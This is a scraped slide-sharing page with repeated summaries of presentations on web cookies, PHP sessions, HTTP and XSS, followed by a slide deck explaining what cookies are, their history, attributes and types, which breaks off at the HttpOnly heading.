Cookies are used to maintain state in HTTP, which is a stateless protocol. Cookies are small pieces of data stored in a user's browser by a website. They help identify users and customize web pages for that user. There are different types of cookies like session cookies, persistent cookies, and third-party cookies. Cookies can store information to remember items in a shopping cart, login credentials, and browsing preferences. However, cookies also present security and privacy risks if not properly implemented.
Cookies and sessions allow servers to store and retrieve information about users across multiple page requests that would otherwise be stateless. Cookies store data in the user's browser, while sessions store data on the server. Cookies have limits on size and number, while sessions can store larger objects but expire when the browser closes. PHP provides functions like setcookie() and $_SESSION to easily manage cookies and sessions for maintaining state in web applications.
Cookies are small pieces of data sent from a website and stored in a user's web browser. They are used to maintain state between HTTP requests to allow websites to remember things like user preferences or shopping cart contents. Cookies contain information sent by the server like session IDs that allow the server to identify a user across multiple requests and pages. Users can control whether to accept or block cookies using their browser settings.
Cookies are small pieces of data stored in a user's browser that are sent back to the server with requests. They allow servers to remember stateful information about users, like items in a shopping cart. Sessions use a unique identifier to store server-side data associated with each user, like login details, allowing information to persist across multiple requests. They provide more security than cookies by storing data on the server rather than sending it back and forth with each request. This document explains how cookies and sessions work, when each is appropriate, and how to implement them in PHP.
This document provides an overview of cookies and sessions. It defines cookies as small text files stored on a user's computer that contain information about a website visit. Sessions are a combination of a server-side cookie containing a unique session token and client-side cookie. The document discusses setting, retrieving, and deleting cookies using JavaScript, as well as the advantages of storing session data on the server rather than in client-side cookies.
The document discusses stateless and stateful protocols. It provides HTTP and FTP as examples. A stateless protocol like HTTP does not store transaction information between requests, simplifying server design but requiring additional information in each request. Stateful protocols like FTP can remember transaction details like the identity of a client downloading files. The document also discusses how HTTP uses cookies and sessions to simulate state on stateless connections, allowing servers to recognize returning clients through the data stored in cookies.
This document discusses cookies and sessions in PHP. Cookies are used to store small pieces of data on the user's browser and move across pages, avoiding relogging in. Sessions store data on the server and are more secure. PHP uses the setcookie() function to set cookies and $_COOKIE to retrieve them. Sessions are started with session_start() and use $_SESSION to set and retrieve session variables. Cookies can be used to remember the session ID so sessions persist across browser closes.
cookie is a small amount of data generated by a website and saved by your web browser. Its purpose is to remember information about you, similar to a preference file created by a software application.
This document discusses cookies and sessions in PHP. Cookies are used to maintain state between HTTP requests and can store a small amount of text data in the user's browser. Sessions serve the same purpose as cookies but store data on the server rather than in the browser. The document demonstrates how to create, access, and destroy both cookies and sessions in PHP code. It also compares the key differences between cookies and sessions, such as cookies persisting after the browser closes while sessions do not.
Cookies and sessions allow servers to store and retrieve information about users across multiple page requests that would otherwise be stateless. Cookies store data in the user's browser, while sessions store data on the server. Cookies have limits on size and number, while sessions can store larger objects but expire when the browser closes. PHP provides functions like setcookie() and $_SESSION to easily manage cookies and sessions for maintaining state in web applications.
Cookies are small pieces of data sent from a website and stored in a user's web browser. They are used to maintain state between HTTP requests to allow websites to remember things like user preferences or shopping cart contents. Cookies contain information sent by the server like session IDs that allow the server to identify a user across multiple requests and pages. Users can control whether to accept or block cookies using their browser settings.
Cookies are small pieces of data stored in a user's browser that are sent back to the server with requests. They allow servers to remember stateful information about users, like items in a shopping cart. Sessions use a unique identifier to store server-side data associated with each user, like login details, allowing information to persist across multiple requests. They provide more security than cookies by storing data on the server rather than sending it back and forth with each request. This document explains how cookies and sessions work, when each is appropriate, and how to implement them in PHP.
This document provides an overview of cookies and sessions. It defines cookies as small text files stored on a user's computer that contain information about a website visit. Sessions are a combination of a server-side cookie containing a unique session token and client-side cookie. The document discusses setting, retrieving, and deleting cookies using JavaScript, as well as the advantages of storing session data on the server rather than in client-side cookies.
The document discusses stateless and stateful protocols. It provides HTTP and FTP as examples. A stateless protocol like HTTP does not store transaction information between requests, simplifying server design but requiring additional information in each request. Stateful protocols like FTP can remember transaction details like the identity of a client downloading files. The document also discusses how HTTP uses cookies and sessions to simulate state on stateless connections, allowing servers to recognize returning clients through the data stored in cookies.
This document discusses cookies and sessions in PHP. Cookies are used to store small pieces of data on the user's browser and move across pages, avoiding relogging in. Sessions store data on the server and are more secure. PHP uses the setcookie() function to set cookies and $_COOKIE to retrieve them. Sessions are started with session_start() and use $_SESSION to set and retrieve session variables. Cookies can be used to remember the session ID so sessions persist across browser closes.
cookie is a small amount of data generated by a website and saved by your web browser. Its purpose is to remember information about you, similar to a preference file created by a software application.
This document discusses cookies and sessions in PHP. Cookies are used to maintain state between HTTP requests and can store a small amount of text data in the user's browser. Sessions serve the same purpose as cookies but store data on the server rather than in the browser. The document demonstrates how to create, access, and destroy both cookies and sessions in PHP code. It also compares the key differences between cookies and sessions, such as cookies persisting after the browser closes while sessions do not.
cookie is a small amount of data generated by a website and saved by your web browser. Its purpose is to remember information about you, similar to a preference file created by a software application.
This document discusses PHP cookies, sessions, and includes/requires. It explains that cookies are small files stored on a user's computer that identify the user. Sessions store information about a user across multiple pages using the $_SESSION variable. Includes/requires insert the code from one PHP file into another before execution. Examples are provided for setting cookies and sessions, incrementing session values, and including external PHP files.
This document provides an overview of PHP, including what PHP is, how PHP scripts work, embedding PHP in web pages, variables, operators, control structures, arrays, functions, and forms. Some key points covered include:
- PHP is a server-side scripting language commonly used for web development. PHP code is embedded within HTML and executed on the server to produce dynamic web page content.
- PHP scripts typically have a .php file extension and use <?php ?> tags. Code within the tags is executed by the server and the results are returned to the browser.
- Variables, constants, operators, and control structures like if/else statements allow PHP to dynamically output content. Arrays and multid
The document provides an introduction to using PHP sessions and cookies to maintain state across multiple requests. It discusses how cookies store small amounts of data on the client browser, while sessions allow storing data on the server. The document then provides steps to create a login system using sessions: 1) Check login credentials and create a session variable on successful login, 2) Display user profile details on the profile page by fetching the session variable, 3) Include a logout link that destroys the session to end the user session. Key differences between cookies and sessions are also summarized - cookies are stored on the client while sessions are stored on the server.
This document provides an introduction to jQuery, including:
- jQuery is a JavaScript library that simplifies HTML document interaction and event handling. It was created by John Resig in 2006.
- The current version is 1.3.2 and version 1.4 is coming soon. John Resig continues to develop jQuery in Boston.
- jQuery selects elements, changes their properties, handles events, and makes AJAX calls to simplify common JavaScript tasks. It works by selecting DOM elements and running functions on the selection.
this ppt will give you information about :
1. Introduction to www
2. History Understanding client/server roles Apache
3. HTML
4. PHP
5. MySQL
6. JS
7. HTML & CSS
8. XAMPP Installation
Cross-site scripting (XSS) is the most common web application vulnerability. There are three main types of XSS attacks: reflected XSS, stored XSS, and DOM-based XSS. Reflected XSS occurs when malicious scripts are included in hyperlinks and infect the victim's browser when the link is clicked. Stored XSS involves injecting malicious scripts into the application itself, which are then executed when users access stored information. DOM-based XSS modifies the DOM environment used by client-side scripts, causing them to run unexpectedly and potentially harmfully. All XSS attacks allow attackers to hijack user sessions, insert hostile content, and fully compromise users. Applications can prevent XSS by validating all input
This document discusses PHP sessions. It explains that sessions allow websites to track user information across multiple pages by storing variables on the server instead of passing them individually between pages. Sessions work by assigning each user a unique ID stored in a cookie, which is used to retrieve the corresponding session file on the server containing the user's session variables. The document also covers session expiry, destroying sessions, and retrieving session data.
Cookies: HTTP state management mechanismJivan Nepali
The document discusses cookies, which are small pieces of information sent from a web server and stored in a user's web browser. Cookies allow state to be maintained across HTTP requests. The document outlines that cookies have privacy and security considerations and provides guidelines for cookie authentication. It defines session and persistent cookies and describes how cookies work by explaining the interaction between a user's browser and a website server.
The document discusses PHP forms and includes the following key points:
1. Forms can submit data via GET and POST methods, with GET appending data to the URL and POST transmitting data hiddenly. Both methods store data in superglobal arrays ($_GET and $_POST).
2. Form validation ensures required fields are filled and data meets specified criteria. Common validations check for required fields, valid email addresses, URLs, and more.
3. HTML form elements like text fields, textareas, radio buttons, drop-downs are used to collect user input. PHP processes submitted data and can validate required fields are not empty.
HTTP is a protocol for transmitting hypermedia documents across the internet. It uses a client-server model where browsers make HTTP requests to web servers, which respond with HTTP responses. Key aspects of HTTP include using TCP/IP for communication, being stateless, supporting a variety of data types, and incorporating features of both FTP and SMTP protocols.
This document provides an overview of PHP and MySQL. It defines PHP as a server-side scripting language that is commonly used with MySQL, an open-source database management system. The document discusses key PHP concepts like PHP files, variables, operators, conditional statements, arrays, loops, and functions. It also covers form handling in HTML and PHP. The intended audience is users looking to learn the basics of PHP and how it integrates with MySQL for database management.
The "Same-Origin" Policy is one of the corner stones of the web application security model, but it can also be very restricting for web application developers. In this presentation, the different methods for weakening the "SOP" are presented, along with the possible security flaws introduced in the web applications.
Cross Site Scripting (XSS) is a type of injection attack where malicious scripts are injected into otherwise benign and trusted websites. XSS has been a top web application vulnerability since 1996. There are three main types of XSS attacks: reflected XSS, stored XSS, and DOM-based XSS. Reflected XSS occurs when malicious scripts come from URLs, while stored XSS happens when scripts are stored on websites. XSS can be used to steal cookies and sessions, redirect users, alter website contents, and damage an organization's reputation. Developers can prevent XSS through input validation, output encoding, and using the HttpOnly flag.
https://www.youtube.com/watch?v=lKrbeJ7-J98
HTTP messages are how data is exchanged between a server and a client. There are two types of messages: requests sent by the client to trigger an action on the server, and responses, the answer from the server.
Cookie replay attack unit wise presentationNilu Desai
Cookies are small pieces of data stored in a user's browser by websites to remember stateful information. A cookie replay attack occurs when an unauthorized user obtains and reuses a valid cookie to impersonate another user. To prevent replay attacks, websites can regenerate tokens by issuing new cookies and adding time restrictions to limit cookie validity periods. Additional defenses include using HTTPS, limiting cookie lifetimes, and avoiding persistent cookies.
Internet Cookies presentation contains-
What is internet cookies?
Who can see this cookies?
How does it look like?
History
Types
Uses
Limitations
Disadvantages
cookie is a small amount of data generated by a website and saved by your web browser. Its purpose is to remember information about you, similar to a preference file created by a software application.
This document discusses PHP cookies, sessions, and includes/requires. It explains that cookies are small files stored on a user's computer that identify the user. Sessions store information about a user across multiple pages using the $_SESSION variable. Includes/requires insert the code from one PHP file into another before execution. Examples are provided for setting cookies and sessions, incrementing session values, and including external PHP files.
This document provides an overview of PHP, including what PHP is, how PHP scripts work, embedding PHP in web pages, variables, operators, control structures, arrays, functions, and forms. Some key points covered include:
- PHP is a server-side scripting language commonly used for web development. PHP code is embedded within HTML and executed on the server to produce dynamic web page content.
- PHP scripts typically have a .php file extension and use <?php ?> tags. Code within the tags is executed by the server and the results are returned to the browser.
- Variables, constants, operators, and control structures like if/else statements allow PHP to dynamically output content. Arrays and multid
The document provides an introduction to using PHP sessions and cookies to maintain state across multiple requests. It discusses how cookies store small amounts of data on the client browser, while sessions allow storing data on the server. The document then provides steps to create a login system using sessions: 1) Check login credentials and create a session variable on successful login, 2) Display user profile details on the profile page by fetching the session variable, 3) Include a logout link that destroys the session to end the user session. Key differences between cookies and sessions are also summarized - cookies are stored on the client while sessions are stored on the server.
This document provides an introduction to jQuery, including:
- jQuery is a JavaScript library that simplifies HTML document interaction and event handling. It was created by John Resig in 2006.
- The current version is 1.3.2 and version 1.4 is coming soon. John Resig continues to develop jQuery in Boston.
- jQuery selects elements, changes their properties, handles events, and makes AJAX calls to simplify common JavaScript tasks. It works by selecting DOM elements and running functions on the selection.
this ppt will give you information about :
1. Introduction to www
2. History Understanding client/server roles Apache
3. HTML
4. PHP
5. MySQL
6. JS
7. HTML & CSS
8. XAMPP Installation
Cross-site scripting (XSS) is the most common web application vulnerability. There are three main types of XSS attacks: reflected XSS, stored XSS, and DOM-based XSS. Reflected XSS occurs when malicious scripts are included in hyperlinks and infect the victim's browser when the link is clicked. Stored XSS involves injecting malicious scripts into the application itself, which are then executed when users access stored information. DOM-based XSS modifies the DOM environment used by client-side scripts, causing them to run unexpectedly and potentially harmfully. All XSS attacks allow attackers to hijack user sessions, insert hostile content, and fully compromise users. Applications can prevent XSS by validating all input
This document discusses PHP sessions. It explains that sessions allow websites to track user information across multiple pages by storing variables on the server instead of passing them individually between pages. Sessions work by assigning each user a unique ID stored in a cookie, which is used to retrieve the corresponding session file on the server containing the user's session variables. The document also covers session expiry, destroying sessions, and retrieving session data.
Cookies: HTTP state management mechanismJivan Nepali
The document discusses cookies, which are small pieces of information sent from a web server and stored in a user's web browser. Cookies allow state to be maintained across HTTP requests. The document outlines that cookies have privacy and security considerations and provides guidelines for cookie authentication. It defines session and persistent cookies and describes how cookies work by explaining the interaction between a user's browser and a website server.
The document discusses PHP forms and includes the following key points:
1. Forms can submit data via GET and POST methods, with GET appending data to the URL and POST transmitting data hiddenly. Both methods store data in superglobal arrays ($_GET and $_POST).
2. Form validation ensures required fields are filled and data meets specified criteria. Common validations check for required fields, valid email addresses, URLs, and more.
3. HTML form elements like text fields, textareas, radio buttons, drop-downs are used to collect user input. PHP processes submitted data and can validate required fields are not empty.
HTTP is a protocol for transmitting hypermedia documents across the internet. It uses a client-server model where browsers make HTTP requests to web servers, which respond with HTTP responses. Key aspects of HTTP include using TCP/IP for communication, being stateless, supporting a variety of data types, and incorporating features of both FTP and SMTP protocols.
This document provides an overview of PHP and MySQL. It defines PHP as a server-side scripting language that is commonly used with MySQL, an open-source database management system. The document discusses key PHP concepts like PHP files, variables, operators, conditional statements, arrays, loops, and functions. It also covers form handling in HTML and PHP. The intended audience is users looking to learn the basics of PHP and how it integrates with MySQL for database management.
The "Same-Origin" Policy is one of the corner stones of the web application security model, but it can also be very restricting for web application developers. In this presentation, the different methods for weakening the "SOP" are presented, along with the possible security flaws introduced in the web applications.
Cross Site Scripting (XSS) is a type of injection attack where malicious scripts are injected into otherwise benign and trusted websites. XSS has been a top web application vulnerability since 1996. There are three main types of XSS attacks: reflected XSS, stored XSS, and DOM-based XSS. Reflected XSS occurs when malicious scripts come from URLs, while stored XSS happens when scripts are stored on websites. XSS can be used to steal cookies and sessions, redirect users, alter website contents, and damage an organization's reputation. Developers can prevent XSS through input validation, output encoding, and using the HttpOnly flag.
https://www.youtube.com/watch?v=lKrbeJ7-J98
HTTP messages are how data is exchanged between a server and a client. There are two types of messages: requests sent by the client to trigger an action on the server, and responses, the answer from the server.
Cookie replay attack unit wise presentationNilu Desai
Cookies are small pieces of data stored in a user's browser by websites to remember stateful information. A cookie replay attack occurs when an unauthorized user obtains and reuses a valid cookie to impersonate another user. To prevent replay attacks, websites can regenerate tokens by issuing new cookies and adding time restrictions to limit cookie validity periods. Additional defenses include using HTTPS, limiting cookie lifetimes, and avoiding persistent cookies.
Internet Cookies presentation contains-
What is internet cookies?
Who can see this cookies?
How does it look like?
History
Types
Uses
Limitations
Disadvantages
Cookies are small files stored on a user's computer by websites that visit. They hold modest amounts of data to customize web pages for users. Cookies are created when a new web page is loaded, and can last until the browser closes or for a specified time period. Cookies allow information to be passed between website sessions without requiring large amounts of server storage. While cookies don't inherently pose privacy or security risks, some track users' browsing histories across sites.
Cookies are usually small text files, given ID tags that are stored on your computer's browser directory or program data subfolders. Cookies are created when you use your browser to visit a website that uses cookies to keep track of your movements within the site, help you resume where you left off, remember your registered login, theme selection, preferences, and other customization functions.
Overview of Cookies in HTTP - Miran al MehrabCefalo
Cookies are small pieces of data sent from a website and stored in a user's browser to remember stateful information as HTTP is stateless. They are used for session management, personalization, and tracking. Cookies can be set by websites using the Set-Cookie HTTP response header and are then sent back to the site by the browser in Cookie HTTP requests. Cookies have advantages like remembering state but also security risks if not implemented properly or if they track users excessively. Alternatives to cookies exist like JWT, HTTP authentication, and IP addresses.
Session management is needed in web applications to maintain state across HTTP requests. Cookies and session variables are two techniques used to manage state. Session variables store data on the server tied to a unique session ID, while cookies store small amounts of data in the user's browser. Common uses of cookies and sessions include maintaining shopping carts across pages and personalizing websites based on user preferences. Cookies reduce server load by storing some data on the client side.
Web app development_cookies_sessions_14Hassen Poreya
This document discusses maintaining state in PHP using cookies and sessions. It explains that HTTP is stateless, meaning it does not remember information from previous requests. Cookies and sessions allow state to be maintained across multiple pages. Cookies are small text files stored on the user's computer that associate data with a domain. Sessions use server-side storage and are more secure than cookies. The document provides examples of how to set, read, and delete both cookies and sessions in PHP to maintain state across web pages.
Ch4(saving state with cookies and query strings)Chhom Karath
The document discusses two methods for saving state across web pages: cookies and session functions. Cookies allow servers to store small amounts of data on a user's computer to remember information across visits. Session functions store data on the server-side in temporary files associated with a session ID. This allows storing larger amounts of data and sharing data across multiple pages during a user's session. The document provides examples of setting, accessing, and destroying both cookies and session data.
Cookies allow websites to store and retrieve information on the client side. They are useful for maintaining state, such as keeping users logged in or tracking shopping cart items. Cookies are set using the setcookie() function and accessed via the $_COOKIE superglobal array. Key points are to set cookies before any output, specify an expiration time/domain appropriately, and check for cookies on subsequent pages to verify authentication or retrieve stored information.
Cookies are small files containing information stored on a user's computer by a web server. Cookies are used to identify users and customize content. PHP allows creating, reading, and deleting cookies using the setcookie() function. Sessions are used to store information on the server across multiple pages while cookies store data on the user's computer. Cookies and sessions can be exploited by hackers to steal user information.
Lecture 11 - PHP - Part 5 - CookiesSessions.pptSreejithVP7
PHP uses sessions and cookies to introduce state into the stateless HTTP protocol. Sessions allow servers to remember stateful information about individual users from page request to page request, while cookies store small amounts of data on the client side. The setcookie() function and $_COOKIE superglobal array are used to create and access cookies, while sessions are managed through the $_SESSION superglobal array after starting a session with session_start(). Cookies and sessions both provide methods for persistence across multiple page loads or visits.
Cookies allow websites to remember information about users across browsing sessions. They are stored on the user's device and sent back to the server with subsequent requests. Sessions store user data on the server instead of the device, requiring a session ID cookie to associate the user with their data. Sessions provide more security and storage space compared to cookies alone. PHP supports cookies via setcookie() and sessions via the $_SESSION superglobal array after calling session_start().
This presentation talks about managing a session and cookies in web using PHP. Cookies are stored at client machine and sent back to the server after first consecutive requests.Session manages the user state on the web page for security purpose as well.
This document discusses the basics of configuring a custom authentication module for OpenAM. It provides an example XML configuration that defines a custom authentication module called "sunAMAuthMyModuleService". The key points are that authentication module services must start with "iPlanetAMAuth" or "sunAMAuth" and end with "Service", the service hierarchy is defined, an i18n file provides internationalized strings, and module options are defined within an Organization schema to allow per-realm configuration.
In the following slide I am going to demonstrate the difference between Cookies and Session and how to use each and why. Also, I am going to talk a bit about session hijacking
BugRaptors perform Cookie testing to ensure the security of the website and application to be tested. Cookies are small information stored in text file on user’s hard drive by web server. BugRaptors perform cookie manipulation using various techniques.
Cookies are small text files created by web servers that are stored in web browsers. They allow servers to maintain state between HTTP requests from a browser. There are two types of cookies - permanent/persistent cookies that are stored on a user's computer and not deleted when the browser closes, and session/transient cookies that are stored in memory only during a user's browsing session and deleted when the browser closes. Cookies are commonly used to track website activity, for online shopping carts, and to provide personalized web pages. They work by the server adding a cookie to the response which gets stored in the browser cache, and the browser then sends that cookie back with subsequent requests so the server can recognize the user.
The document discusses session tracking in servlets using cookies. It explains that HTTP is stateless and cookies allow servers to maintain state across multiple requests from the same user. Cookies are stored in the user's browser and sent with each request to identify the user. The document provides details on how cookies work in servlets, the different types of cookies, how to create, access, and delete cookies using the Cookie class in servlets. It includes an example servlet program that sets a cookie on the first request and reads it on the second to track user sessions across multiple pages.
This PPT is meant to let the reader know what a cookie is. It is aimed at increasing the reader’s knowledge regarding the use of cookies, their types, along with the general rules that govern their usage.
The document discusses the switch statement in C programming. It explains the syntax of switch statement and provides an example. It mentions that switch statement can also contain expressions and only constant expressions can be evaluated in cases. It lists some limitations of switch statement like float expressions cannot be tested and multiple cases cannot use same expression values. It also provides information on loop control structures like for, while, do-while loops along with examples.
This document summarizes the n-queen problem, which involves placing N queens on an N x N chessboard so that no queen can attack any other. It describes the problem's inputs and tasks, provides examples of solutions for different board sizes, and outlines the backtracking algorithm commonly used to solve this problem. The backtracking approach guarantees a solution but can be slow, with complexity rising exponentially with problem size. It is a good benchmark for testing parallel computing systems due to its iterative nature.
This document presents concepts for flexible and portable computing devices of the future, including:
1) A mobile phone with a 3D holographic display screen that can project objects in the air.
2) A rollable laptop that can fold up like a roll of paper for easy carrying and storage.
3) A wearable "finger-touching" phone concept that is controlled by touching your own fingers.
4) A flexible bracelet-style computer called SONY NEXTEP with a holographic projector and pull-out keyboard.
5) The Integral Cord, a flexible optic cord that can create multiple touchscreen displays of varying sizes by manipulating the cord
Harmful Effect Of Computers On Environment - EWASTE Sukrit Gupta
This Presentation gives an Overview of Harmful Effects Of Computers On Our Environment and surroundings. It also deals with the methods of curbing this Ewaste.
MySQL is a relational database management system written in C and C++. It works across many platforms and is designed to be fully multi-threaded to take advantage of multiple CPUs. It supports large databases with flexible security and has over a dozen data types including numeric, date/time, and string types. MySQL uses storage engines like MyISAM and InnoDB to store and retrieve data, with InnoDB being the default and most widely used as it supports transactions and row-level locking. MySQL also includes many built-in mathematical, aggregate, string, and date/time functions to manipulate data.
The document discusses the three main technologies used to build user interfaces: HTML for structure, CSS for presentation, and JavaScript for behavior. It emphasizes that each technology should only be used for its intended purpose to improve accessibility, portability, maintainability, and performance. HTML provides structure using tags, CSS handles styling and layout with rules, and JavaScript adds interactive behaviors. The document then goes into more detail about each technology and their various components.
HTML and CSS are markup languages used to structure and style web pages. HTML is used to define the structure and semantics of content, while CSS handles the presentation and layout. Some key points covered include:
- HTML stands for Hypertext Markup Language and uses tags to structure content into headings, paragraphs, lists etc. CSS is used to specify rules that control the presentation and formatting of HTML elements.
- The box model is a fundamental concept in CSS that treats each HTML element as a box, including properties like margins, borders, padding and content.
- Common CSS selectors include element selectors, class selectors, ID selectors and pseudo-classes. The specificity of selectors determines which styles
JavaScript is a scripting language used to add interactivity to HTML pages. It allows dynamic updating of web page content without reloading the page. JavaScript code can be added inline, embedded, or externally linked in HTML pages. Common JavaScript elements include objects, properties, methods, events, functions, variables, expressions, conditions, loops, and arrays. The DOM (Document Object Model) represents HTML documents and allows JavaScript to access and modify elements dynamically. Cookies are used by JavaScript to store and retrieve information on the client-side.
JavaScript is a scripting language designed for web pages that is used to add interactivity and dynamic behavior to HTML pages. It was invented in 1995 by Brendan Eich at Netscape and is now the most popular client-side scripting language on the internet. JavaScript code can be included within HTML pages using <script> tags and is interpreted by web browsers rather than compiled. It allows for manipulating HTML elements, writing to documents, validating forms, detecting browsers, and handling events.
This presentation was provided by Rebecca Benner, Ph.D., of the American Society of Anesthesiologists, for the second session of NISO's 2024 Training Series "DEIA in the Scholarly Landscape." Session Two: 'Expanding Pathways to Publishing Careers,' was held June 13, 2024.
Temple of Asclepius in Thrace. Excavation resultsKrassimira Luka
The temple and the sanctuary around were dedicated to Asklepios Zmidrenus. This name has been known since 1875 when an inscription dedicated to him was discovered in Rome. The inscription is dated in 227 AD and was left by soldiers originating from the city of Philippopolis (modern Plovdiv).
Leveraging Generative AI to Drive Nonprofit InnovationTechSoup
In this webinar, participants learned how to utilize Generative AI to streamline operations and elevate member engagement. Amazon Web Service experts provided a customer specific use cases and dived into low/no-code tools that are quick and easy to deploy through Amazon Web Service (AWS.)
Chapter wise All Notes of First year Basic Civil Engineering.pptxDenish Jangid
Chapter wise All Notes of First year Basic Civil Engineering
Syllabus
Chapter-1
Introduction to objective, scope and outcome the subject
Chapter 2
Introduction: Scope and Specialization of Civil Engineering, Role of civil Engineer in Society, Impact of infrastructural development on economy of country.
Chapter 3
Surveying: Object Principles & Types of Surveying; Site Plans, Plans & Maps; Scales & Unit of different Measurements.
Linear Measurements: Instruments used. Linear Measurement by Tape, Ranging out Survey Lines and overcoming Obstructions; Measurements on sloping ground; Tape corrections, conventional symbols. Angular Measurements: Instruments used; Introduction to Compass Surveying, Bearings and Longitude & Latitude of a Line, Introduction to total station.
Levelling: Instrument used Object of levelling, Methods of levelling in brief, and Contour maps.
Chapter 4
Buildings: Selection of site for Buildings, Layout of Building Plan, Types of buildings, Plinth area, carpet area, floor space index, Introduction to building byelaws, concept of sun light & ventilation. Components of Buildings & their functions, Basic concept of R.C.C., Introduction to types of foundation
Chapter 5
Transportation: Introduction to Transportation Engineering; Traffic and Road Safety: Types and Characteristics of Various Modes of Transportation; Various Road Traffic Signs, Causes of Accidents and Road Safety Measures.
Chapter 6
Environmental Engineering: Environmental Pollution, Environmental Acts and Regulations, Functional Concepts of Ecology, Basics of Species, Biodiversity, Ecosystem, Hydrological Cycle; Chemical Cycles: Carbon, Nitrogen & Phosphorus; Energy Flow in Ecosystems.
Water Pollution: Water Quality standards, Introduction to Treatment & Disposal of Waste Water. Reuse and Saving of Water, Rain Water Harvesting. Solid Waste Management: Classification of Solid Waste, Collection, Transportation and Disposal of Solid. Recycling of Solid Waste: Energy Recovery, Sanitary Landfill, On-Site Sanitation. Air & Noise Pollution: Primary and Secondary air pollutants, Harmful effects of Air Pollution, Control of Air Pollution. . Noise Pollution Harmful Effects of noise pollution, control of noise pollution, Global warming & Climate Change, Ozone depletion, Greenhouse effect
Text Books:
1. Palancharmy, Basic Civil Engineering, McGraw Hill publishers.
2. Satheesh Gopi, Basic Civil Engineering, Pearson Publishers.
3. Ketki Rangwala Dalal, Essentials of Civil Engineering, Charotar Publishing House.
4. BCP, Surveying volume 1
Philippine Edukasyong Pantahanan at Pangkabuhayan (EPP) CurriculumMJDuyan
(𝐓𝐋𝐄 𝟏𝟎𝟎) (𝐋𝐞𝐬𝐬𝐨𝐧 𝟏)-𝐏𝐫𝐞𝐥𝐢𝐦𝐬
𝐃𝐢𝐬𝐜𝐮𝐬𝐬 𝐭𝐡𝐞 𝐄𝐏𝐏 𝐂𝐮𝐫𝐫𝐢𝐜𝐮𝐥𝐮𝐦 𝐢𝐧 𝐭𝐡𝐞 𝐏𝐡𝐢𝐥𝐢𝐩𝐩𝐢𝐧𝐞𝐬:
- Understand the goals and objectives of the Edukasyong Pantahanan at Pangkabuhayan (EPP) curriculum, recognizing its importance in fostering practical life skills and values among students. Students will also be able to identify the key components and subjects covered, such as agriculture, home economics, industrial arts, and information and communication technology.
𝐄𝐱𝐩𝐥𝐚𝐢𝐧 𝐭𝐡𝐞 𝐍𝐚𝐭𝐮𝐫𝐞 𝐚𝐧𝐝 𝐒𝐜𝐨𝐩𝐞 𝐨𝐟 𝐚𝐧 𝐄𝐧𝐭𝐫𝐞𝐩𝐫𝐞𝐧𝐞𝐮𝐫:
-Define entrepreneurship, distinguishing it from general business activities by emphasizing its focus on innovation, risk-taking, and value creation. Students will describe the characteristics and traits of successful entrepreneurs, including their roles and responsibilities, and discuss the broader economic and social impacts of entrepreneurial activities on both local and global scales.
Beyond Degrees - Empowering the Workforce in the Context of Skills-First.pptxEduSkills OECD
Iván Bornacelly, Policy Analyst at the OECD Centre for Skills, OECD, presents at the webinar 'Tackling job market gaps with a skills-first approach' on 12 June 2024
Andreas Schleicher presents PISA 2022 Volume III - Creative Thinking - 18 Jun...EduSkills OECD
Andreas Schleicher, Director of Education and Skills at the OECD presents at the launch of PISA 2022 Volume III - Creative Minds, Creative Schools on 18 June 2024.
2. HTTP
HTTP is a stateless protocol.
Does not remember what happened between two
consecutive requests.
Even two Requests made by same user are different
for HTTP.
HTTP just processes a client REQUEST and
supplies the server RESPONSE.
3. We need:-
To maintain state.
To maintain state means the ability to retain values
of variables and to keep track of users who are
logged into the system.
To distinguish one user from Other.
To save user Preferences.
Common example: Shopping carts.
4. Methods for maintaining state
Cookies
Sessions
Passing [hidden] variables
We writing the URL
5. Why not any other method
Although many details about the user (such as their
browser, IP address and operating system) are
available But because of
the use of dynamic IP addresses (which change every
time the user logs on)
IP address sharing (so that many people share the same
IP)
there is no reliable way of recognizing a particular
user when they re-visit a website.
6. Cookies
A cookie is a small piece of data sent from a website
and stored in a user's web browser which can be
later retrieved by the website.
Also known as an HTTP cookie, web cookie, or
browser cookie.
Max size of a cookie is 4kB.
Each browser stores at least 300 cookies in total
and at least 20 cookies per server or domain.
7. A little about cookie’s origin [aka History]
The term "cookie" was derived from "magic cookie",
which is the packet of data a program receives and
sends again unchanged.
Lou Montulli (an employee at Netscape
Communications) had the idea of using them in Web
communications in June 1994.
He used cookie to create a Virtual Shopping Cart.
8. Uses of Cookies
Common uses for cookies are authentication, storing
of site preferences, shopping cart items, and server
session identification.
Ex
Google uses cookies to provide customized pages and
search results to their users.
StackOverFlow uses cookies to log in their users
automatically.
Visitor tracking and statistics systems often use them to
track visitors.
Google uses cookies to display interest Preferenced
advertisement to the visitor using cookies in aDsense.
9. How it works
Browser only sends the Name and Value of cookie with
the request.
10. Ingredients of a Cookie..
General SYNTAX
Cookie(Name, Value, exp.
Time, path, domain, secure, httponly)
Name: The name of the cookie. This name is used by the
website to refer to it. The name should be unique to the
website, but it doesn't matter if it clashes with the name of a
cookie from another website.
Value: The value of the cookie. This value is stored on the
clients computer; do not store sensitive information.
Expire: The time the cookie expires. This is a Unix timestamp
so is in number of seconds. In other words, you'll most likely
set this with the time() function plus the number of seconds
before you want it to expire. If set to 0, or omitted, the cookie
will expire at the end of the session (when the browser closes).
11. Ingredients of a Cookie..(cont..)
Path: The path on the server in which the cookie will
be available on. If set to '/', the cookie will be
available within the entire domain. If set to '/foo/', the
cookie will only be available within the /foo/ directory
and all sub-directories such as /foo/bar/ of domain.
The default value is the current directory that the
cookie is being set in.
Domain: The domain that the cookie is available to.
Setting the domain to 'www.example.com' will make
the cookie available in the www subdomain and
higher subdomains.
12. Ingredients of a Cookie..(cont..)
Secure: Indicates that the cookie should only be
transmitted over a secure HTTPS connection from
the client. When set to TRUE, the cookie will only be
set if a secure connection exists.
Httponly: When TRUE the cookie will be made
accessible only through the HTTP protocol. This
means that the cookie won't be accessible by
scripting languages, such as JavaScript. It has been
suggested that this setting can effectively help to
reduce identity theft through XSS attacks
13. Types Of Cookies
Session cookie
A user's session cookie (also known as an in-memory cookie or
transient cookie) for a website exists in temporary memory only
while the user is reading and navigating the website. When an
expiry date or validity interval is not set at cookie creation time, a
session cookie is created. Web browsers normally delete
session cookies when the user closes the browser.
Persistent cookie
A persistent cookie will outlast user sessions. If a persistent
cookie has its Max-Age set to 1 year, then, within the year, the
initial value set in that cookie would be sent back to the server
every time the user visited the server. This could be used to
record a vital piece of information such as how the user initially
came to this website. For this reason persistent cookies are also
called tracking cookies.
14. Types Of Cookies…
Secure cookie
A secure cookie has the secure attribute enabled and is
only used via HTTPS, ensuring that the cookie is always
encrypted when transmitting from client to server.
HttpOnly cookie
